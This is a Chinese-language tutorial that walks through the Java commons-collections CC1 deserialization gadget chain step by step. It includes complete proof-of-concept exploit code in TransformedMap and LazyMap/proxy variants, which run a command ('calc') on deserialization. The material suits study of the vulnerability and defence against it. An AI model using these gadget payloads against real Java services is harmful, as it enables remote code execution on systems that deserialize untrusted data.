java反序列化CC1链路
版本要求:
commons-collections 3.1–3.2.1
jdk < 8u71
链路概览:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
下面对每个函数调用进行追根溯源:
入口:InvokerTransformer
这个类继承自Transformer。
public class InvokerTransformer implements Transformer, Serializable
先来看看这个类的构造函数和transform函数
//构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//transform函数
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
可以看到,这个对象的构造函数传入一个方法名,这个方法的参数类型,以及这个方法的参数,并且在transform方法中通过反射传入transform的对象以传入构造方法的参数类型和参数调用这个方法。比如我们下面弹个计算器:
public class poc {
public static void main(String[] args){
Runtime rt = Runtime.getRuntime();
InvokerTransformer inex = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
inex.transform(rt);
}
}
可以看到成功了

那么下一步就是找到谁会调用transform()方法
TransformedMap:

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
可以看到一个叫TransformedMap的类的checkSetValue会调用自己valueTransformer成员的transform方法,如果将这个成员设定为一个InvokerTransformer就可以。那么我们就需要先找到这个成员是怎么来的

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
可以看到,这个类的构造方法会设定valueTransformer成员。如果传入一个InvokerTransformer再调用它的checkSetValue就可以成功。但是这个类的构造方法是protected,无法直接调用,还要再找。

这里我们可以看到这个类暴露了一个decorate给外部调用以进行构造。
我们打个test
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception{
Runtime rt = Runtime.getRuntime();
InvokerTransformer inex = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);
Class<?> rce2 = rce.getClass();
Method test = rce2.getDeclaredMethod("checkSetValue",Object.class);
test.setAccessible(true);
test.invoke(rce,rt);
}
}

下面找谁调用了checkSetValue
AbstractInputCheckedMapDecorator:
可以看到TransformedMap的父类AbstractInputCheckedMapDecorator的setValue调用了checkSetValue

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
这里简单介绍一下,调用TransformedMap的entrySet()时会自动用AbstractInputCheckedMapDecorator包装,其中的parent指向自己。
所以test如下:
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class poc {
public static void main(String[] args) throws Exception{
Runtime rt = Runtime.getRuntime();
InvokerTransformer inex = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);
map.put("a","b");
for(Map.Entry XXX : rce.entrySet()){
XXX.setValue(rt);
}
}
}

成功。
AnnotationInvocationHandler:
继续往下看到入口readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
可以看到反序列化时会遍历map并且调用setValue。而这个拿来遍历的memberValues我们也可以找到

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
在构造器里,也是可控的。
package sun.reflect.annotation;
这个类只能在sun.reflect.annotation这个本包下被调用,需要反射调用
解决注解值为空:
同时我们可以看到:
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
这里有两个if语句需要满足,第二个是一定会满足的,我们重点看第一个。
memberType != null
我们找到memberType是怎么来的
跟进一下:
Class<?> memberType = memberTypes.get(name);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
这里看出来是在获取注解类型的实例,那么换一个有值的注解就可以,比如下面这个:
Target.class
Object o = constructor.newInstance(Target.class,transformermap);
解决setValue里的value不可控和runtime不可序列化:
首先我们看runtime:
public class Runtime {
这里看到它并没有实现序列化接口,所以会序列化失败,但是可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的。
这个反射我们可以靠invoketransformer实现。
我们再看:
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
这里我们知道传入setValue的值不是我们控制的,所以要找一个不靠传入runtime实例rce的办法。
综合下来我们找到两个东西。先看这个:
ChainedTransformer类有一个transform方法:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
利用它可以实现对transformer类数组的链式调用,再看下面这个ConstantTransformer类:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
利用这个我们可以实现一个transformer类的对象,只要对它调用transform (),不管参数如何都返回一个固定可控对象。那么综合起来可以这么构造:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
那么我们就可以构造最终的链子:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer inex = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> rce = TransformedMap.decorate(map,null,inex);
map.put("value","b");
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class,rce);
serialize(obj);
unserialize("test.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
使用lazymap触发transform:
我们先看LazyMap的get方法:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看到会调用factory的transform方法。那factory是怎么来的呢?
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
可以看到调用公共的decorate再传入一个transformer对象即可rce。我们直接用之前构造的ChainedTransformer即可,触发之后会链式调用也不需要参数。下面我们就要找怎么触发get()方法

我们看到AnnotationInvocationHandler类的invoke方法调用了memberValues的get方法,同时我们之前也看到这个成员是可控的。
Object result = memberValues.get(member);
那么怎么调用invoke呢?用动态代理即可,对动态代理对象进行任何方法的调用都会转到它的InvocationHandler上。我们设定一个用AnnotationInvocationHandler代理的对象,再用它构造AnnotationInvocationHandler。反序列化最后构造出来的时候AnnotationInvocationHandler会调用代理对象的方法,然后就会再转到invoke上去。所以最后的poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer inex = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> rce = LazyMap.decorate(map,inex);
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,rce);
Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object obj = constructor.newInstance(Override.class,proxyedMap);
serialize(obj);
unserialize("test.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}